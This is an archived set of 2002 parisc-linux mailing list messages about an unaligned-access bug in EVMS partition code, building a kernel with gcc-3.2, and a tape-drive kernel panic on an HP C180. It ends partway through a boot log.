X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Mon, 2 Sep 2002 10:47:59 +0200
Lines: 149
Approved: news@gmane.org
Message-ID: <3D3815BD0000A476@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621672 13223 80.91.229.3 (22 Nov 2014 02:01:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:12 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>,
	"Joel Soete" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 02:54:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 172F14829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 02:54:57 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 2 Sep 2002 10:47:59 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15981

>-- Original Message --
>To: Joel Soete <joel.soete@freebel.net>
>Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, jsoe0708@tiscali.be,
>	parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
>
>From: Grant Grundler <grundler@dsl2.external.hp.com>
>Date: Sat, 31 Aug 2002 17:50:15 -0600
>
>
>Joel Soete wrote:
>> Finaly this trial version of function:
>>
>>
>> BOOLEAN isa_null_partition_record(struct partition *p)
>> {
>>       if (p->boot_ind == 0x00 &&
>>           p->head == 0x00 &&
>>           p->sector == 0x00 &&
>>           p->cyl == 0x00 &&
>>           p->sys_ind == 0x00 &&
>>           p->end_head == 0x00 &&
>>           p->end_sector == 0x00 &&
>>           p->end_cyl == 0x00 &&
>>           p->start_sect == 0x00 &&
>>           p->nr_sects == 0x00 )
>>           return TRUE;
>
>Since start_sect and nr_sects are ints, this code will also generate an
>"unaligned data reference fault" like the original code did.

Trust me it does not? (it works fine)

>You need
>to find the origin of "struct partition *p" when the address is un-aligned.
>
Very hard to define:
a. the previous code works (again all odds)
b. the following trial code:
"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

typedef u_int8_t  BOOLEAN;

#ifndef TRUE
  #define TRUE  1
#endif
#ifndef FALSE
  #define FALSE 0
#endif

struct partition {
    unsigned char boot_ind;     /* 0x80 - active */
    unsigned char head;     /* starting head */
    unsigned char sector;       /* starting sector */
    unsigned char cyl;      /* starting cylinder */
    unsigned char sys_ind;      /* What partition type */
    unsigned char end_head;     /* end head */
    unsigned char end_sector;   /* end sector */
    unsigned char end_cyl;      /* end cylinder */
    unsigned int start_sect;    /* starting sector counting from 0 */
    unsigned int nr_sects;      /* nr of sectors in partition */
};

BOOLEAN isa_null_partition_record(struct partition *p)
{
    int          i;
    u_int32_t   *uip = (u_int32_t *) p;

    for (i=0; i<4; i++) {
        if (*uip!=0x00) return FALSE;
    }

    return TRUE;
}

int main(int argc, char * * argv, char * * env) {

    struct partition p1, p2;

    p1.boot_ind=0;
    p1.head=0;
    p1.sector=0;
    p1.cyl=0;
    p1.sys_ind=0;
    p1.end_head=0;
    p1.end_sector=0;
    p1.end_cyl=0;
    p1.start_sect=0;
    p1.nr_sects=0;

    printf("Is that p1 is a null partition: %u\n", isa_null_partition_record(&p1));

    p2.boot_ind=1;
    p2.head=2;
    p2.sector=3;
    p2.cyl=4;
    p2.sys_ind=5;
    p2.end_head=6;
    p2.end_sector=7;
    p2.end_cyl=8;
    p2.start_sect=9;
    p2.nr_sects=10;

    printf("Is that p2 is a null partition: %u\n", isa_null_partition_record(&p2));
    return 0;
}
"
did not reproduce the problem.


Even if in the previous code, I replace:
BOOLEAN isa_null_partition_record(struct partition *p)
{
    int          i;
    u_int32_t   *uip = (u_int32_t *) p;

    for (i=0; i<4; i++) {
        if (*uip!=0x00) return FALSE;
    }

    return TRUE;
}
by
extern BOOLEAN isa_null_partition_record(struct partition *p);

and also link it with the original library containing isa_null_partition_record,
I can no more reproduce the problem.

The only difference I can notice is that 'isa_null_partition_record' is
not directly used by evms tools but through modules loaded at run time (the
cause of gdb debug difficulties) (or am I wrong and a subtil detail escape
to my attention)?

What can I do to analyse this problem? (printing all p addresses and its
elements
during a run with the original code and compare with a run with modified
code?)

Thanks again for attention and help,
    Joel






From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Mon, 2 Sep 2002 12:02:49 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <3D3815BD0000A54B@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621672 13228 80.91.229.3 (22 Nov 2014 02:01:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 04:09:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02EB54829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 04:09:40 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 2 Sep 2002 12:02:49 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15982

Hi all,

I install gcc-3.2 beside default gcc-3.0.

I would like to use gcc-3.2 to compile the latest cvs kernel. HOWTO do this?

Thanks in advance,
    Joel

PS: with gcc-3.1.1 snapshot I reach to obtain a bootable 32bit kernel but
presenting a problem with network connection. Was I alone to observe this?



From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Mon, 2 Sep 2002 16:56:11 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3D3815BD0000A825@ocpmta5.be.tiscali.com>
References: <3D3815BD0000A54B@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621672 13231 80.91.229.3 (22 Nov 2014 02:01:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 09:03:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 513714829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 09:03:04 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 2 Sep 2002 16:56:11 +0200
In-Reply-To: <3D3815BD0000A54B@ocpmta5.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15983

>
>Hi all,
>
>I install gcc-3.2 beside default gcc-3.0.
>
>I would like to use gcc-3.2 to compile the latest cvs kernel. HOWTO do this?
>
>Thanks in advance,
>    Joel
>
>PS: with gcc-3.1.1 snapshot I reach to obtain a bootable 32bit kernel but
>presenting a problem with network connection. Was I alone to observe this?
>
I also forget to mentionned that I also applied recommendation in /usr/share/doc/gcc-3.2-base/README.Debian.gz
(ie: CC="gcc-3.2" ; export CC but in the kernel special case there is no
./configure step so may be there is another teaps. And with snapshot gcc
was build in another tree so the problem didn't exists)

Many thanks again for all help,
    Joel




From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Mon, 2 Sep 2002 08:21:37 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20020902152137.GG25710@tausq.org>
References: <3D3815BD0000A54B@ocpmta5.be.tiscali.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621673 13234 80.91.229.3 (22 Nov 2014 02:01:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 09:18:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C50F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 09:18:39 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id AEFDFCD92F; Mon,  2 Sep 2002 08:21:37 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3D3815BD0000A54B@ocpmta5.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15984

> I would like to use gcc-3.2 to compile the latest cvs kernel. HOWTO do this?

edit the toplevel kernel Makefile and change the HOSTCC and CC lines 
so that HOSTCC=gcc-3.2 and CC=$(CROSS_COMPILE)gcc-3.2

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Mon, 2 Sep 2002 18:31:15 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <3D3815BD0000A8AE@ocpmta5.be.tiscali.com>
References: <20020902152137.GG25710@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621673 13235 80.91.229.3 (22 Nov 2014 02:01:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 10:38:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id E14074829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 10:38:06 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 2 Sep 2002 18:31:15 +0200
In-Reply-To: <20020902152137.GG25710@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15985

>> I would like to use gcc-3.2 to compile the latest cvs kernel. HOWTO do
>this?
>
>edit the toplevel kernel Makefile and change the HOSTCC and CC lines 
>so that HOSTCC=gcc-3.2 and CC=$(CROSS_COMPILE)gcc-3.2
>

Oops the 32bits kernel which I obtain, boot well on my b2k but ip connection
problem is always there: the system seems to loop somewhere with ssh (heart
bit seems life and no more response neither at serial console, neither at
ssh prompt) and telnet causes an HPMC (bus timeout?)

I try find information on howto run sshd with gdb on the server (MARC ml
archives) but do not found any relevant info. And i don't know if Bruno LKCD
would help if near to be ready.

What can I do?

Joel

PS: this problem was not with gcc-3.2 (now snapshot 3.3) and it is a long
time I play with gcc snapshot to compare.



From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel Panic
Date: Mon,  2 Sep 2002 11:37:00 -0500
Lines: 396
Approved: news@gmane.org
Message-ID: <200209021137.AA3784507924@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621673 13239 80.91.229.3 (22 Nov 2014 02:01:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:13 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 10:40:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AFE24829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 10:40:44 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15986

Guys, I'm getting a kernel panic after trying to access my tape drive.
Can anyone help me out? I tried to post all relevant info, let me know
if I can provide anything else:


-----------------FIRST TRY----------------
Debian GNU/Linux 3.0 seki ttyS0

seki login: root
Password:
Last login: Sat Nov 14 02:50:47 1992 on ttyS0
Linux seki 2.4.9-32 #1 Fri Nov 30 19:36:30 MST 2001 parisc unknown

seki:~/test# tar -xvpf /dev/st0
st: Version 20010812, bufsize 32768, wrt 30720, max init. bufs 4, s/g segs 16
Attached scsi tape st0 at scsi1, channel 0, id 1, lun 0
st0: Block limits 1 - 16777215 bytes.

ccio-dma.c:362: Assertion (*res_ptr & *mask_ptr) == *mask_ptr failed!
Kernel panic: (*res_ptr & *mask_ptr) == *mask_ptr
In interrupt handler - not syncing

-----------------END FIRST TRY----------------


-----------------SECOND TRY----------------
Debian GNU/Linux 3.0 seki ttyS0

seki login: root
Password:
Last login: Sat Nov 14 02:41:23 1992 on ttyS0
Linux seki 2.4.9-32 #1 Fri Nov 30 19:36:30 MST 2001 parisc unknown

seki:~# lsmod
Module                  Size  Used by
seki:~# insmod st
Using /lib/modules/2.4.9-32/kernst: Version 20010812, bufsize 32768, wrt 30720,
max init. bufs 4, s/g segs 16
el/drivers/scsi/Attached scsi tape st0 at scsi1, channel 0, id 1, lun 0
st.o
seki:~# cat /proc/scsi/scsi
Attached devices:
Host: scsi0 Channel: 00 Id: 05 Lun: 00
  Vendor: SEAGATE  Model: ST34371W         Rev: HP03
  Type:   Direct-Access                    ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 06 Lun: 00
  Vendor: SEAGATE  Model: ST32171W         Rev: HP03
  Type:   Direct-Access                    ANSI SCSI revision: 02
Host: scsi1 Channel: 00 Id: 01 Lun: 00
  Vendor: SONY     Model: SDT-7000         Rev: 0150
  Type:   Sequential-Access                ANSI SCSI revision: 02
seki:~# mt -f /dev/st0 status
st0: Block limits 1 - 16777215 bytes.
drive type = Generic SCSI-2 tape
drive status = 318767616
sense key error = 0
residue count = 0
file number = 0
block number = 0
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (41010000):
 BOT ONLINE IM_REP_EN
seki:~# tar -cvpf /dev/st0 /tftpboot
tar: Removing leading `/' from member names
tftpboot/
tftpboot/tftpboot.img

ccio-dma.c:362: Assertion (*res_ptr & *mask_ptr) == *mask_ptr failed!
Kernel panic: (*res_ptr & *mask_ptr) == *mask_ptr
In interrupt handler - not syncing

-----------------END SECOND TRY----------------

-----------------BOOT INFO----------------
Firmware Version  2.7

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      180 MHz    Active                 Functional         1 MB/1 MB

  Central Bus Speed (in MHz) :        120

  Available memory (bytes)    : 805306368
  Good memory required (bytes):          0 (Not Set by OS)
  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  SESCSI.6.0
  Console path:         GRAPHICS(3)
  Keyboard path:        PS2

CPU 0
WARNING:  Self tests have been disabled as a result of FASTBOOT
          being enabled.  To enable self tests, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Searching for device(s) with bootable media...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).

Attempting to boot Primary Path...

BOOTABLE DEVICE FOUND:
   Path Number        Device Path              Device Type and Utilities
   -----------        -----------------        -------------------------
   P0                 FWSCSI.6.0               SEAGATE ST32171W        
                                               IPL

Booting... 
Boot IO Dependent Code (IODC) revision 150


HARD Booted.
palo ipl 0.96 root@smallone Sun Nov 11 23:23:30 UTC 2001

Partition Start(MB) End(MB) Id Type
1               1      16   f0 Palo
3            1315    2046   82 swap
5              17    1314   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3122078 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently  used by firmware (serial).

Command line for kernel: 'root=/dev/sdb5 HOME=/ console=ttyS0 TERM=vt102'
Selected kernel: /boot/vmlinux from partition 5
Opening /boot/vmlinux
Opening /boot/vmlinux-2.4.9-32
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1618208 mediaptr 0x1000
Segment 1 load 0028c000 size 287728 mediaptr 0x18d000
Segment 2 load 002d4000 size 379072 mediaptr 0x1d4000
Segment 3 load 00334000 size 8192 mediaptr 0x231000
Segment 4 load 00338000 size 32768 mediaptr 0x233000
Segment 5 load 003750e8 size 83184 mediaptr 0x23b0e8
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov 30 19
:36:30 MST 2001
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model	000059c0 00000481 00000000 00000002 77d14d81 100000f0 00000008 000000b2 
000000b2
vers	00000205
cpuid	000001c9
CPUID	vers 14 rev 9
model	9000/780/C180
Total Memory: 768 Mb
pagetable_init
On node 0 totalpages: 196608
zone(0): 196608 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LED display at f0190001 registered
Kernel command line: root=/dev/sdb5 HOME=/ console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Calibrating delay loop... 358.80 BogoMIPS
Memory: 770644k available
Dentry-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 65536 (order: 7, 524288 bytes)
Mount-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 65536 (order: 6, 262144 bytes)
Page-cache hash table entries: 262144 (order: 8, 1048576 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb
2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x1, 0xa
3. Raven U/L2 Core FW-SCSI (4) at 0xf200c000 [8/12], versions 0x3b, 0x0, 0x89
4. Raven U/L2 Core BA (11) at 0xffd00000 [8/16], versions 0x3b, 0x0, 0x81,  addi
tional addresses: 0xffc00000 
5. UL 350 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x2e, 0x0, 0x74,
  additional addresses: 0xffd03000 
6. Raven U/L2 Core Audio (10) at 0xffd04000 [8/16/1], versions 0x3b, 0x4, 0x7b
7. Raven U/L2 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, 0x0, 0x8c
8. Raven U/L2 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x3b, 0x0, 0x82
9. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x3b, 0x0, 
0x8a
10. Raven U/L2 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x3b, 0x0, 0
x84
11. Raven U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x3b, 0x0, 0
x84
12. Raven Backplane Wax BA (11) at 0xffe00000 [8/20], versions 0x17, 0x0, 0x8e
13. Raven Backplane Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x17, 0x0, 0x7
3
14. Raven Backplane RS-232 (10) at 0xffe02000 [8/20/2], versions 0x17, 0x0, 0x8c
15. Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x17, 0x0,
 0x90,  additional addresses: 0xfc00000b 
16. Gecko GSC Core Graphics (10) at 0xfa000000 [8/24], versions 0x16, 0x0, 0x85
17. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc
18. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, 0xb
19. Coral SGC Graphics (10) at 0xf8000000 [10/8], versions 0x4, 0x0, 0x77
20. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1, 0xc
21. Raven U 180 (9000/780/C180) (0) at 0xfffa0000 [32], versions 0x59c, 0x0, 0x4
22. Raven U 180 (1) at 0xfffb1000 [49], versions 0x72, 0x0, 0x9
CPU(s): 1 x PA8000 (PCX-U) at 180.000000 MHz
ccio found U2 at 0xfff88000
io_io_low: 0xf2000000
23. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x1, 0xa
24. Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x7, 0x0, 0x96
25. Raven Backplane RS-232 (10) at 0xf2003000 [8/3], versions 0x17, 0x0, 0x8c
26. Raven U/L2 Core FW-SCSI (4) at 0xf200c000 [8/12], versions 0x3b, 0x0, 0x89
27. Raven U/L2 Core BA (11) at 0xffd00000 [8/16], versions 0x3b, 0x0, 0x81,  add
itional addresses: 0xffc00000 
28. UL 350 Core Centronics (10) at 0xffd02000 [8/16/0], versions 0x2e, 0x0, 0x74
,  additional addresses: 0xffd03000 
29. Raven U/L2 Core Audio (10) at 0xffd04000 [8/16/1], versions 0x3b, 0x4, 0x7b
30. Raven U/L2 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, 0x0, 0x8c
31. Raven U/L2 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x3b, 0x0, 0x82
32. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x3b, 0x0,
 0x8a
33. Raven U/L2 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions 0x3b, 0x0, 0
x84
34. Raven U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x3b, 0x0, 0
x84
35. Raven Backplane Wax BA (11) at 0xffe00000 [8/20], versions 0x17, 0x0, 0x8e
